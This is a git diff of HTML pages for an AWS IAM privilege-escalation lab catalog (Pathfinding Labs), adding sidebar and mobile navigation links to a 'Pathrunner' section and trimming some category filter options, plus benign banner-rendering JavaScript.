+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/cspm-ec2-001/index.html b/docs/labs/cspm-ec2-001/index.html
index b65e7577..7134f735 100644
--- a/docs/labs/cspm-ec2-001/index.html
+++ b/docs/labs/cspm-ec2-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/datapipeline-001-to-bucket/index.html b/docs/labs/datapipeline-001-to-bucket/index.html
index e7174c6a..2e0a26ca 100644
--- a/docs/labs/datapipeline-001-to-bucket/index.html
+++ b/docs/labs/datapipeline-001-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/datapipeline-001/index.html b/docs/labs/datapipeline-001/index.html
index a429251c..ddddfa90 100644
--- a/docs/labs/datapipeline-001/index.html
+++ b/docs/labs/datapipeline-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ec2-001/index.html b/docs/labs/ec2-001/index.html
index bfbadbc3..3896be8e 100644
--- a/docs/labs/ec2-001/index.html
+++ b/docs/labs/ec2-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
